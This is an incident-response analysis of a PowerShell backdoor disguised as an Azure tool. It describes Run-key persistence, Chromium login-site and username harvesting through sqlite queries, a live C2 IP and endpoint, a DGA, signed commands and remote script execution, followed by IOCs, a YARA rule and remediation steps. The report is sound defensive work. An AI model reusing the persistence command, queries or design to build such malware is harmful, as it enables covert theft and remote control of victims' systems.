Classification: Remote Access Trojan / Backdoor with credential-reconnaissance capability
Detection name: Trojan:PowerShell/ProcmacSteal.LTSN!MTB (Microsoft Defender)
Sample: AzureAccount.ps1 — 35,578 bytes, 965 lines, single-stage PowerShell
SHA-256: 492F2AB86F8D8911ADC79C10EC1541704F5311D207D9D799B0D2A57FCC6A4391
Copies analyzed: AppData\Roaming\AzureKits\AzureAccount.ps1
Analysis date: 2026-08-21
This is not a simple infostealer — it is a signed-command, multi-platform backdoor (RAT) written entirely in PowerShell 5.1+. Disguised as an "Azure" developer tool, it:
- Persists via the
HKCU Runkey, launching hidden at every logon (powershell -ep bypass -w h). - Fingerprints the host: username, hostname, OS version/arch, admin status, installed applications, browser extensions.
- Harvests reconnaissance data from Chromium browsers (Chrome, Brave, Edge): every saved-login site URL and every saved username/email — by downloading the official
sqlite-toolsfrom sqlite.org and querying theLogin Datadatabase. - Beacons all of that to a hardcoded C2, retrying every N seconds forever.
- Polls for RSA-signed commands and can: execute arbitrary downloaded scripts (foreground or background), relocate itself and re-persist, reconfigure its C2/polling cycle, or self-terminate.
- Resilience: encrypted config file, RSA-OAEP-SHA256 command authentication (only the operator can issue commands), a time-seeded DGA generating 10 rotating
.comfallback C2 domains (5-day windows), TLS certificate validation disabled for C2 traffic, and automatic failover between C2 URLs.
On this particular machine, the C2 at 23.254.167.107:443 was unreachable — the malware's retry loop produced the "Unable to connect to the remote server" errors that led to its discovery. Defender quarantined it after roughly 24+ hours of runtime, and the restored autorun key was removed again during analysis.
| Property | Value |
|---|---|
| Filename | AzureAccount.ps1 (+ AzureAccount.ps1.cfg, 132 B encrypted config) |
| Size | 35,578 bytes |
| Lines | 965 |
| Language | PowerShell 5.1+ (#requires -Version 5.1) with embedded C# (Add-Type) |
| Runtime | powershell.exe -ep bypass -w h -File <path> (hidden window, execution policy bypassed) |
| Persistence | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AzureAccount |
| C2 (primary) | 23.254.167.107:443 (from decrypted config) |
| C2 endpoint | POST https://<c2>/49890878 |
| Victim UID | UtrALaxnHjJatQmZ (16-char random, generated on first run) |
| Config crypto | AES-128-GCM, key derived from ASCII string i am botking |
| Command auth | RSA-2048 OAEP-SHA256, embedded private key in sample |
The .cfg file decrypts (AES-GCM, key i am botking) to:
{"PrimaryUrl":"23.254.167.107:443","UID":"UtrALaxnHjJatQmZ","Cycle":10}Cycle: 10 is the polling interval in seconds — matching the observed 10-second retry cadence.
explorer.exe (logon)
└─ powershell.exe -ep bypass -w h -File AzureAccount.ps1 [hidden]
├─ 1. Add-Type WinCrypto (bcrypt AES-GCM + RSA in C#)
├─ 2. Force TLS1.2; install TrustAllCertsPolicy (accept ANY cert)
├─ 3. Initialize-BotWork
│ ├─ Load/decrypt .cfg (AES-128-GCM, key "i am botking")
│ ├─ Generate UID if missing; save config
│ ├─ Enumerate browser extensions + installed apps
│ ├─ Download sqlite-tools from sqlite.org → query browser "Login Data"
│ │ └─ collect saved-login origin URLs + usernames/emails
│ ├─ Generate 10 DGA fallback C2 domains (5-day seed windows)
│ └─ Send-InitialInfo → POST beacon to C2
└─ 4. Main loop (Start-BotWork):
├─ Invoke-ProcessCheck → POST "check" for pending command
│ ├─ verify RSA-OAEP signature over (tid + sid)
│ └─ Invoke-BotWork:
│ kill | minicfg | startup | runscript(Shell|ShellX)
└─ Start-BotSleep Cycle seconds (10 s)
To avoid PowerShell's System.Security.Cryptography.AesGcm (only available in newer .NET), the script compiles a C# helper class that P/Invokes bcrypt.dll directly:
BCryptOpenAlgorithmProvider("AES")+ChainingModeGCM— raw AES-GCMAesGcmEncrypt/AesGcmDecrypt— packed format:nonce(12) || ciphertext || tag(16)- A hand-rolled DER/ASN.1 parser for PKCS#1 PEM (
ParsePkcs1Pem, lines 139–165) that extractsn, e, d, p, q, dp, dq, iq RsaOaepSha256Decrypt—RSACngwith OAEP-SHA256 padding
Purpose of RSA here: the embedded private key (lines 201–229) is used to decrypt command "signatures" — the server encrypts 4-byte-prefix || tid || sid with the matching public key; the bot decrypts and compares (Test-CommandSign, lines 319–333). Result: only the holder of the public key (the operator) can issue valid commands. Researchers can't forge commands even by standing up their own fake C2 — a defense against botnet sinkholing/takeover.
- Forces
Tls12. - On Windows PowerShell 5.1, installs
TrustAllCertsPolicy: ICertificatePolicythat returns true for any certificate, and assigns it to[Net.ServicePointManager]::CertificatePolicy. - All C2 traffic therefore proceeds over HTTPS without any certificate validation — MITM interception by corporate proxies would succeed silently, but so would the malware connecting to any hijacked C2.
- Config lives next to the script as
<scriptname>.cfg. - Content: AES-128-GCM(key = first 16 UTF-8 bytes of
"i am botking")-encrypted, Base64-encoded JSON:UID,PrimaryUrl,Cycle. - The config is rewritten whenever a failover URL succeeds (see 4.7), making the last working C2 sticky across reboots.
- Command-line argument 0 overrides
PrimaryUrl— used by thestartuprelocation flow.
- Seed =
floor(UTC / (5 days))→ 10 pseudo-random[a-z]{10}.com:443domains per 5-day window, generated with a xorshift32 PRNG (13/17/5 shifts). - The attacker pre-registers the current window's domains; the bot tries primary first, then fallbacks. This gives cheap C2 resilience with no hardcoded list.
- (No evidence any of these resolved during the infection window — the bot never successfully contacted a server.)
- Downloads
https://sqlite.org/2026/sqlite-tools-win-x64-3530400.zipinto%TEMP%\sqlite_<guid>\, extracts, locatessqlite3.exe. - Notably restores the real certificate-validation callback just for this download (lines 342–351) — the operator wants a genuine, un-tampered sqlite3 binary (presumably to avoid AV heuristics on a bundled binary and ensure DB parsing works).
Invoke-SqliteJsonQuery(368–390) shells out:sqlite3.exe -json <db> <query>.Remove-SqliteToolswipes the temp folder after harvesting — minimal forensic footprint.
Browsers targeted (Chromium-family user-data roots, all profiles Default + Profile N):
- Chrome:
%LOCALAPPDATA%\Google\Chrome\User Data - Brave:
%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data - Edge:
%LOCALAPPDATA%\Microsoft\Edge\User Data
Collected per profile:
| Data | Source | Query |
|---|---|---|
| Saved-login site hostnames | Login Data → logins |
SELECT DISTINCT origin_url FROM logins ... (normalized to bare host, lines 531–538) |
| Saved-login usernames/emails | Login Data → logins |
SELECT DISTINCT username_value FROM logins ... (sanitized, lines 540–549) |
| Browser extension IDs | Local Extension Settings\* |
directory enumeration (574–584) |
System inventory:
- Username, hostname, OS caption/version, arch, PowerShell version (392–404)
- Admin/root status (406–410)
- Installed applications from all three
Uninstallregistry hives, deliberately filtering outwindows.*,microsoft.*,vs_,windows sdketc. (422–455) — the operator only wants interesting third-party software (e.g., wallets, VPNs, dev tools, password managers), which functions as target prioritization for follow-uprunscriptpayloads.
Important limitation: the script never reads password_value, cookies, or crypto wallets — saved Chromium passwords are DPAPI-encrypted and this sample doesn't attempt decryption. It harvests where you have accounts and who you are, not the secrets themselves. The actual secret theft would be stage two, delivered on demand via runscript.
- Transport:
WebClient.UploadData("https://<url>/49890878", 'POST', bytes)where bytes = Base64( UTF8(JSON) ) — a Base64-wrapped JSON envelope (double-encoding to keep payloads HTTP-safe). - Failover: tries
PrimaryUrl, then every DGA fallback; on first success promotes that URL to PrimaryUrl and saves the config. - Failure handling:
Write-Host "Error: <message>"+ sleepCycleseconds, keep trying — this exact line is the source of the "Unable to connect to the remote server" spam (line 728→735).
Beacon (type=start, lines 785–811):
{"type":"start","bid":"<UID>","chash":[],
"username":"...","hostname":"...","os_type":"windows",
"os_ver":"...","os_arch":"amd64","platform_ver":"powershell 5.1...",
"ext":"<ext;ext>","app":"<app;app>",
"url":"<loginhost;loginhost>","email":"<username;username>"}Poll (type=check, lines 918–950): sends {type, bid, chash, is_root}; a non-empty response is a JSON command {sid, name, param, url, type, sign, chash} — signature-verified then executed.
Result (type=cmd): {type, bid, sid, name, status: success|fail, result}.
sid |
Effect |
|---|---|
kill |
Ack, then exit 0 — clean self-removal of the process (files/registry remain) |
minicfg |
AES-GCM(key "test") decrypt of param → newUrl;newCycle; updates + saves config |
startup |
Self-relocation: decrypt param → folderName;winName, copies itself + .cfg to %APPDATA%\<folder>\<name>.ps1, deletes the old copy, re-writes the Run key to the new path, removes the old value (lines 618–652, 468–482) |
runscript |
Arbitrary code execution: downloads from attacker URL → writes UTF-8-BOM temp .ps1 in %TEMP%\ps-<guid>.ps1 → Shell = run & return stdout+stderr; ShellX = background, return PID. The payload receives context (self path, UID, C2) as arguments and via SCRIPT_ARGS env var as JSON (lines 484–515) |
runscript is the defining capability: anything — a full stealer, a miner, a lateral-movement tool, a persistence re-installer — can be pushed post-compromise, and each payload gets the bot's context handed to it.
Start-BotWork # init → Send-InitialInfo → sleep 10
while ($true) {
Invoke-ProcessCheck # poll C2 for signed commands
Start-BotSleep 10 # Cycle seconds
}Infinite, silent, no jitter, no max-retry cap.
Timeline reconstructed from Defender quarantine records, file timestamps, and observed artifacts:
| Time (local) | Event |
|---|---|
| 2026-08-20 ~13:47 | AzureAccount.ps1 LastWriteTime — sample landed/dropped (both copies share it) |
| 2026-08-20 → 08-21 | Script running hidden from logon via HKCU Run\AzureAccount; beacon/check attempts to 23.254.167.107:443 fail; retries every 10 s, printing Error: ... Unable to connect to the remote server into its hidden console host |
| 2026-08-21 ~17:51 | .cfg rewritten (5:51 PM) — config save during run |
| 2026-08-21 ~18:02 | Defender detects & quarantines: both .ps1 copies + the Run key (Trojan:PowerShell/ProcmacSteal.LTSN!MTB) |
| 2026-08-21 ~18:09–18:10 | User deletes leftover AzureKits folders → .cfg files to Recycle Bin |
| 2026-08-21 18:53 | Analysis: sample restored from quarantine for review; re-created Run key removed again immediately; originals cleaned; no malicious processes remain |
Exfiltration assessment: every outbound POST (initial beacon and all check polls) targets 23.254.167.107:443 (plus DGA .com fallbacks). The only error observed — and it was continuous — is connection failure. The harvested dataset (login-site hosts, usernames/emails, app list, extensions) was therefore almost certainly never delivered. No runscript-class command was ever received (commands can only arrive on a successful HTTP response), so no second-stage payload ran. The DGA fallbacks being unregistered .coms further supports dead-C2.
Caveats: a brief early window of C2 reachability cannot be 100 % excluded, and browser password values were never read by this sample regardless.
Files:
%APPDATA%\AzureKits\AzureAccount.ps1 SHA-256 492F2AB86F8D8911ADC79C10EC1541704F5311D207D9D799B0D2A57FCC6A4391
%APPDATA%\AzureKits\AzureAccount.ps1.cfg
%TEMP%\sqlite_<32hex>\sqlite-tools.zip / sqlite3.exe (tooling)
%TEMP%\ps-<32hex>.ps1 (runscript payload drops)
Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AzureAccount
= powershell -ep bypass -w h -File "C:\Users\<user>\AppData\Roaming\AzureKits\AzureAccount.ps1"
Network:
23.254.167.107:443 POST /49890878 (Base64(JSON) body, ~every 10 s)
10× daily-window DGA domains matching ^[a-z]{10}\.com:443 (5-day xorshift32 windows)
Strings/behavior:
"i am botking" (AES key material) "49890878" (endpoint)
"sqlite-tools-win-x64-3530400.zip" "Local Extension Settings"
embedded "BEGIN RSA PRIVATE KEY" (2048-bit, OAEP-SHA256 command auth)
bcrypt.dll AES ChainingModeGCM via Add-Type
YARA (hunt for variants):
rule PS_AzureKits_Backdoor
{
meta:
author = "incident response 2026-08-21"
sample_sha256 = "492f2ab86f8d8911adc79c10ec1541704f5311d207d9d799b0d2a57fcc6a4391"
strings:
$key = "i am botking"
$ep = "/49890878"
$rsa = "BEGIN RSA PRIVATE KEY"
$bcry = "BCryptGenerateSymmetricKey" ascii
$dga = "Get-SecLinks"
$start = "Send-InitialInfo"
$run = "powershell -ep bypass -w h -File"
$sq = "sqlite-tools-win-x64"
condition:
filesize < 200KB and 4 of them
}Hunting queries:
EventID 4688/ Sysmon EID 1:powershell.exewith-w h -ep bypass -Fileunderexplorer.exe- PowerShell EID 4104 script-block logs:
WinCrypto/BCryptOpenAlgorithmProvider/49890878 - Outbound POST to any host at path
/49890878 - New
%TEMP%\sqlite_*folders outside developer context
- Block
23.254.167.107at firewall/DNS; alert on/49890878paths. - Rotate credentials for every account whose site or username appeared in browser saved logins (the recon dataset), prioritize email/banking/identity accounts; terminate all active sessions; verify MFA.
- Keep Script-Block Logging + AMSI on; this family compiles C# and shells
sqlite3.exe— both are high-signal telemetry. - Restrict
HKCU Runwrites via policy where feasible; baseline and alert on new values. - Treat "Azure/Nvidia/dev-tool"
.ps1/.exebundles from forums/Discord/torrents as hostile until proven otherwise — the naming is deliberate social engineering.
| Lines | Function | Role |
|---|---|---|
| 3–181 | WinCrypto (C#) |
bcrypt AES-GCM, PEM/DER parse, RSA-OAEP decrypt |
| 183–196 | TLS setup | force TLS1.2, trust-all-certs policy |
| 198–229 | constants | AES key string, sqlite URL, RSA private key |
| 231–262 | AES helpers, Start-BotSleep |
GCM pack/base64, sleep |
| 264–317 | Get-UniqedArr, Get-RndStr, Get-SecLinks, ConvertFrom-Db64d |
dedupe, UID gen, xorshift32 DGA, double-base64 |
| 319–333 | Test-CommandSign |
RSA-OAEP(SHA256) command authentication |
| 335–390 | Initialize/Remove-SqliteTools, Invoke-SqliteJsonQuery |
fetch sqlite.org tooling, query DBs |
| 392–455 | Get-PlatformInfo, Test-IsAdmin, Get-InstalledApplications |
host inventory |
| 457–529 | Get-StartupDestination, Set-PlatformStartup, New-ShellProcessStartInfo, Get-ChromeProfileDirs |
persistence + payload staging + profile discovery |
| 531–616 | ConvertTo-NormalizedLogin*, Get-BotExtensions/Urls/Emails |
browser recon harvesting |
| 618–652 | Invoke-BotStartup |
self-relocation & re-persistence |
| 654–696 | $State, config load/save |
encrypted config management |
| 704–743 | Invoke-SubnetHttpPost |
C2 POST with failover (error spam origin) |
| 745–811 | shell exec + Send-InitialInfo |
payload runner, initial beacon |
| 813–846 | Initialize-BotWork |
init & harvest orchestration |
| 848–916 | Send-CommandResult, Invoke-BotWork |
command dispatch (kill/minicfg/startup/runscript) |
| 918–965 | Invoke-ProcessCheck, Start-BotWork |
poll loop & entry point |